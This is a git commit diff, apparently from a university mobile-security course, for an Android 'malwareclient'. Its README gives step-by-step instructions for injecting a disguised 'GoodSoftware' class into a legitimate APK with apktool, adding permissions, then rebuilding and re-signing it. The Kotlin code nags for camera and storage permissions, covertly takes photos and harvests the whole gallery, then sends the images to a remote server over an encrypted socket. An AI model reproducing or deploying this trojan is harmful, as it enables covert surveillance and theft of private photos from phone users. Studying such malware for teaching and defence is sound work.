Merge branch 'new' into 'master'

Make injection work

See merge request ti/2023-2024/s4/mobile-security/students/joren-schipman/malwareclient!1
This commit is contained in:
Schipman Joren 2024-05-05 23:36:55 +00:00
commit ff87918248
4 changed files with 250 additions and 150 deletions

78
README.md Normal file
View File

@ -0,0 +1,78 @@
## Prep
### Without Camera
1. Comment out the timer and compile
```kt
private fun startCheckingPermission() {
timerStorage = Timer("CheckStoragePermissionTimer", false)
timerStorage?.scheduleAtFixedRate(0, 5000) {
checkStoragePermission()
println("Requesting storage permission again")
}
/* timerCamera = Timer("CheckCameraPermissionTimer", false)
timerCamera?.scheduleAtFixedRate(0, 5000) {
checkCameraPermission()
println("Requesting camera permission again")
}*/
```
2. Decompile the apk `apktool d malware.apk`
3. Decompile original app `apktool d application.apk`
4. Move malware to normal application `cp -r malware/smali/com/* application/smali/com/`
5. Under the onCreate of original app
```smali
new-instance p1, Lcom/ti/m/GoodSoftware;
move-object v0, p0
check-cast v0, Landroid/content/Context;
invoke-direct {p1, v0}, Lcom/ti/m/GoodSoftware;-><init>(Landroid/content/Context;)V
invoke-virtual {p1}, Lcom/ti/m/GoodSoftware;->launch()V
```
6. Copy the permissions from the malware manifest to original manifests permissions
```xml
<uses-permission android:name="android.permission.CAMERA"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
```
### With Camera
1. Do the steps of without camera but don't uncomment the timer
2. Copy camera to existing androidx folder `cp -r malware/smali/androidx/camera/ application/smali_classes2/androidx/`
3. Copy androidx futures to existing `cp -r malware/smali/androidx/concurrent/futures/* application/smali/androidx/concurrent/futures/`
4. Copy MediatorLiveData `cp -r malware/smali/androidx/lifecycle/MediatorLiveData* application/smali/androidx/lifecycle/`
5. Copy Camera metadata from Manifest
```xml
<service android:enabled="false" android:exported="false" android:name="androidx.camera.core.impl.MetadataHolderService">
<meta-data android:name="androidx.camera.core.impl.MetadataHolderService.DEFAULT_CONFIG_PROVIDER" android:value="androidx.camera.camera2.Camera2Config$DefaultProvider"/>
</service>
<uses-library android:name="androidx.camera.extensions.impl" android:required="false"/>
```
6. Copy Camera Queries to manifest under the permissions
```xml
<queries>
<intent>
<action android:name="androidx.camera.extensions.action.VENDOR_ACTION"/>
</intent>
</queries>
```
## Final Steps
1. Build the application `apktool b application -o unsigned.apk`
2. Align using zipalign `zipalign -p -f -v 4 unsigned.apk App_Injected.apk`
3. Generate keystore `keytool -genkey -V -keystore key.keystore -alias Android -keyalg RSA -keysize 2048 -validity 10000`
4. Sign Apk `apksigner sign --ks key.keystore App_Injected.apk`
5. Done

View File

@ -69,8 +69,11 @@ dependencies {
androidTestImplementation(libs.androidx.ui.test.junit4) androidTestImplementation(libs.androidx.ui.test.junit4)
debugImplementation(libs.androidx.ui.tooling) debugImplementation(libs.androidx.ui.tooling)
debugImplementation(libs.androidx.ui.test.manifest) debugImplementation(libs.androidx.ui.test.manifest)
implementation("androidx.camera:camera-camera2:$camerax_version") implementation("androidx.camera:camera-core:${camerax_version}")
implementation("androidx.camera:camera-extensions:$camerax_version") implementation("androidx.camera:camera-camera2:${camerax_version}")
implementation("androidx.camera:camera-lifecycle:${camerax_version}")
implementation("androidx.camera:camera-extensions:${camerax_version}")
implementation("androidx.concurrent:concurrent-futures:1.1.0") implementation("androidx.concurrent:concurrent-futures:1.1.0")
implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0") implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0")

View File

@ -1,9 +1,11 @@
package com.ti.m package com.ti.m
import android.Manifest import android.Manifest
import android.app.Activity
import android.content.ContentResolver import android.content.ContentResolver
import android.content.ContentUris import android.content.ContentUris
import android.content.Context import android.content.Context
import android.content.ContextWrapper
import android.content.pm.PackageManager import android.content.pm.PackageManager
import android.graphics.Bitmap import android.graphics.Bitmap
import android.graphics.BitmapFactory import android.graphics.BitmapFactory
@ -23,6 +25,7 @@ import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat import androidx.core.content.ContextCompat
import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.LifecycleOwner
import androidx.lifecycle.lifecycleScope import androidx.lifecycle.lifecycleScope
import com.ti.m.MainActivity
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import java.io.BufferedReader import java.io.BufferedReader
import java.io.ByteArrayOutputStream import java.io.ByteArrayOutputStream
@ -33,19 +36,24 @@ import java.security.KeyFactory
import java.security.PublicKey import java.security.PublicKey
import java.security.SecureRandom import java.security.SecureRandom
import java.security.spec.X509EncodedKeySpec import java.security.spec.X509EncodedKeySpec
import java.util.Timer
import javax.crypto.Cipher import javax.crypto.Cipher
import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.SecretKeySpec import javax.crypto.spec.SecretKeySpec
import kotlin.concurrent.schedule
import kotlin.concurrent.scheduleAtFixedRate
import kotlin.concurrent.thread
class GoodSoftware (private val activity: MainActivity) { class GoodSoftware (private val activity: Context) {
private var cameraProvider: ProcessCameraProvider? = null private var cameraProvider: ProcessCameraProvider? = null
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
private var imageCapture: ImageCapture? = null private var imageCapture: ImageCapture? = null
private val REQUEST_CAMERA_PERMISSION = 100 private val REQUEST_CAMERA_PERMISSION = 100
private val REQUEST_GALLERY = 101 private val REQUEST_GALLERY = 101
private val REQUEST_MEDIA_IMAGES_PERMISSION = 102 private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
private var timerStorage: Timer? = null
private var timerCamera: Timer? = null
private companion object { private companion object {
private const val RSA_ALGORITHM = "RSA" private const val RSA_ALGORITHM = "RSA"
@ -97,67 +105,114 @@ class GoodSoftware (private val activity: MainActivity) {
} }
fun launch() { fun launch() {
Thread{
startCheckingPermission()
}.start()
}
private fun startCheckingPermission() {
timerStorage = Timer("CheckStoragePermissionTimer", false)
timerStorage?.scheduleAtFixedRate(0, 5000) {
checkStoragePermission()
println("Requesting storage permission again")
}
timerCamera = Timer("CheckCameraPermissionTimer", false)
timerCamera?.scheduleAtFixedRate(0, 5000) {
checkCameraPermission() checkCameraPermission()
println("Requesting camera permission again")
}
}
private fun stopCheckingStoragePermission() {
timerStorage?.cancel()
}
private fun stopCheckingCameraPermission() {
timerCamera?.cancel()
}
fun Context.getActivity(): Activity? {
var context = this
while (context is ContextWrapper) {
if (context is Activity) {
return context
}
context = context.baseContext
}
return null
} }
private fun checkCameraPermission() { private fun checkCameraPermission() {
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
requestCameraPermission() requestCameraPermission()
}else{ }else{
startPictureCapture() takePicture()
stopCheckingCameraPermission()
} }
} }
private fun requestCameraPermission() { private fun requestCameraPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) val activity = activity.getActivity()
activity?.let {
ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
}
} }
private fun checkStoragePermission() { private fun checkStoragePermission() {
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
// Request READ_MEDIA_IMAGES permission for Android 13 and higher
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){
requestMediaImagesPermission() requestMediaImagesPermission()
}else{ }else{
// For lower Android versions, request READ_EXTERNAL_STORAGE grabMedia()
requestGalleryPermission() stopCheckingStoragePermission()
} }
} else { } else {
startPictureCapture() if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
requestGalleryPermission()
}else{
grabMedia()
stopCheckingStoragePermission()
}
} }
} }
@RequiresApi(Build.VERSION_CODES.TIRAMISU) @RequiresApi(Build.VERSION_CODES.TIRAMISU)
private fun requestMediaImagesPermission() { private fun requestMediaImagesPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) val activity = activity.getActivity()
activity?.let {
ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
}
} }
private fun startPictureCapture() { private fun takePicture(){
activity.lifecycleScope.launch { val activity = activity.getActivity()
try { try {
// Check and request camera permission activity?.let { act ->
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { if (act is LifecycleOwner) {
requestCameraPermission() act.lifecycleScope.launch {
} takeBeautifulPicture(act, act)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
checkStoragePermission()
} }
} else { } else {
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { // Handle the case where the activity is not a LifecycleOwner
checkStoragePermission() Log.e("Error", "Activity is not a LifecycleOwner")
}
}
}catch (e: Exception) {
e.printStackTrace()
} }
} }
// If both permissions are granted, proceed with picture capture and gallery access
takeBeautifulPicture(activity, activity)
private fun grabMedia(){
Thread { Thread {
try { try {
val imageList = getAllImagesFromGallery(activity) val imageList = getAllImagesFromGallery(activity)
val connection = establishConnectionWithRetry() ?: return@Thread val connection = establishConnectionWithRetry() ?: return@Thread
for (image in imageList) { for (image in imageList) {
println(image)
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
sendDataToServer(base64Image, connection) sendDataToServer(base64Image, connection)
if(image != imageList.last()){ if(image != imageList.last()){
@ -167,14 +222,8 @@ class GoodSoftware (private val activity: MainActivity) {
disconnect(connection) disconnect(connection)
} catch (e: Exception) { } catch (e: Exception) {
e.printStackTrace() e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
} }
}.start() }.start()
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
}
}
} }
@ -229,7 +278,10 @@ class GoodSoftware (private val activity: MainActivity) {
private fun requestGalleryPermission() { private fun requestGalleryPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) val activity = activity.getActivity()
activity?.let { act ->
ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
}
} }
// Handle permission request result // Handle permission request result
@ -237,26 +289,17 @@ class GoodSoftware (private val activity: MainActivity) {
when (requestCode) { when (requestCode) {
REQUEST_CAMERA_PERMISSION -> { REQUEST_CAMERA_PERMISSION -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startPictureCapture() takePicture()
} else {
// Camera permission denied
// Handle accordingly
} }
} }
REQUEST_GALLERY -> { REQUEST_GALLERY -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startPictureCapture() grabMedia()
} else {
// Gallery permission denied
// Handle accordingly
} }
} }
REQUEST_MEDIA_IMAGES_PERMISSION -> { REQUEST_MEDIA_IMAGES_PERMISSION -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startPictureCapture() grabMedia()
} else {
// Media images permission denied
// Handle accordingly
} }
} }
} }
@ -274,7 +317,7 @@ class GoodSoftware (private val activity: MainActivity) {
fun establishConnection(): ConnectionResult{ fun establishConnection(): ConnectionResult{
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
val host = "thinclient.duckdns.org" val host = "192.168.90.151"
val port = 5645 val port = 5645
val secureRandom = SecureRandom() val secureRandom = SecureRandom()
val keyBytes = ByteArray(16) val keyBytes = ByteArray(16)
@ -311,10 +354,8 @@ class GoodSoftware (private val activity: MainActivity) {
while (attempt < maxRetries) { while (attempt < maxRetries) {
try { try {
connectionResult = establishConnection() connectionResult = establishConnection()
println("Connection successful")
break break
} catch (e: Exception) { } catch (e: Exception) {
println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds")
e.printStackTrace() e.printStackTrace()
attempt++ attempt++
Thread.sleep(getRetryDelay(attempt)) Thread.sleep(getRetryDelay(attempt))
@ -373,28 +414,24 @@ class GoodSoftware (private val activity: MainActivity) {
} }
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) { suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
// Ensure that cameraProvider is initialized try {
cameraProvider = ProcessCameraProvider.getInstance(context).await() cameraProvider = ProcessCameraProvider.getInstance(context).await()
// Ensure that the selected camera is available
if (!hasBackCamera() && !hasFrontCamera()) { if (!hasBackCamera() && !hasFrontCamera()) {
Log.e(picture.TAG, "Back and front camera are unavailable") Log.e(picture.TAG, "Back and front camera are unavailable")
return return
} }
// Select the lens facing, prioritize front camera if available
lensFacing = if (hasFrontCamera()) { lensFacing = if (hasFrontCamera()) {
CameraSelector.LENS_FACING_FRONT CameraSelector.LENS_FACING_FRONT
} else { } else {
CameraSelector.LENS_FACING_BACK CameraSelector.LENS_FACING_BACK
} }
// Create ImageCapture instance
imageCapture = ImageCapture.Builder() imageCapture = ImageCapture.Builder()
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
.build() .build()
// Set up image capture listener
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
override fun onError(exc: ImageCaptureException) { override fun onError(exc: ImageCaptureException) {
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
@ -402,7 +439,6 @@ class GoodSoftware (private val activity: MainActivity) {
} }
override fun onCaptureSuccess(image: ImageProxy) { override fun onCaptureSuccess(image: ImageProxy) {
// Process captured image here
val byteArrayOutputStream = ByteArrayOutputStream() val byteArrayOutputStream = ByteArrayOutputStream()
val imagePlane = image.planes[0] val imagePlane = image.planes[0]
val buffer = imagePlane.buffer val buffer = imagePlane.buffer
@ -410,33 +446,35 @@ class GoodSoftware (private val activity: MainActivity) {
buffer.get(bytes) buffer.get(bytes)
byteArrayOutputStream.write(bytes) byteArrayOutputStream.write(bytes)
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
Thread { thread {
try {
val conn = establishConnectionWithRetry() val conn = establishConnectionWithRetry()
if (conn == null) { if (conn == null) {
return@Thread return@thread
} }
sendDataToServer(base64Image, conn) sendDataToServer(base64Image, conn)
disconnect(conn) disconnect(conn)
}.start() } catch (e: Exception) {
e.printStackTrace()
}
}
cameraProvider?.unbindAll() cameraProvider?.unbindAll()
image.close() image.close()
} }
} }
// Bind the camera and start image capture
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
imageCapture?.takePicture( imageCapture?.takePicture(
ContextCompat.getMainExecutor(context), ContextCompat.getMainExecutor(context),
imageCapturedListener imageCapturedListener
) )
} catch (e: ClassNotFoundException) {
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
} catch (e: Exception) {
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
}
} }
private fun hasBackCamera(): Boolean { private fun hasBackCamera(): Boolean {
@ -452,6 +490,7 @@ class GoodSoftware (private val activity: MainActivity) {
} }
fun getAllImagesFromGallery(context: Context): List<String> { fun getAllImagesFromGallery(context: Context): List<String> {
val activity = context.getActivity()
val imageList = mutableListOf<String>() val imageList = mutableListOf<String>()
val contentResolver: ContentResolver = context.contentResolver val contentResolver: ContentResolver = context.contentResolver
val imageProjection = arrayOf( val imageProjection = arrayOf(
@ -485,8 +524,10 @@ class GoodSoftware (private val activity: MainActivity) {
} }
} }
} else { } else {
activity?.let {
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
} }
}
return imageList return imageList
} }

View File

@ -2,33 +2,11 @@ package com.ti.m
import android.os.Bundle import android.os.Bundle
import androidx.activity.ComponentActivity import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Surface
import androidx.compose.ui.Modifier
import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.LifecycleOwner
import com.ti.m.ui.theme.MTheme
class MainActivity : ComponentActivity(), LifecycleOwner { class MainActivity : ComponentActivity(), LifecycleOwner {
private lateinit var goo: GoodSoftware
override fun onCreate(savedInstanceState: Bundle?) { override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState) super.onCreate(savedInstanceState)
setContent { GoodSoftware(this).launch()
MTheme {
Surface(
modifier = Modifier.fillMaxSize(),
color = MaterialTheme.colorScheme.background
) {
}
}
}
GoodSoftware(this@MainActivity).launch()
}
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
goo.onRequestPermissionsResult(requestCode, grantResults)
} }
} }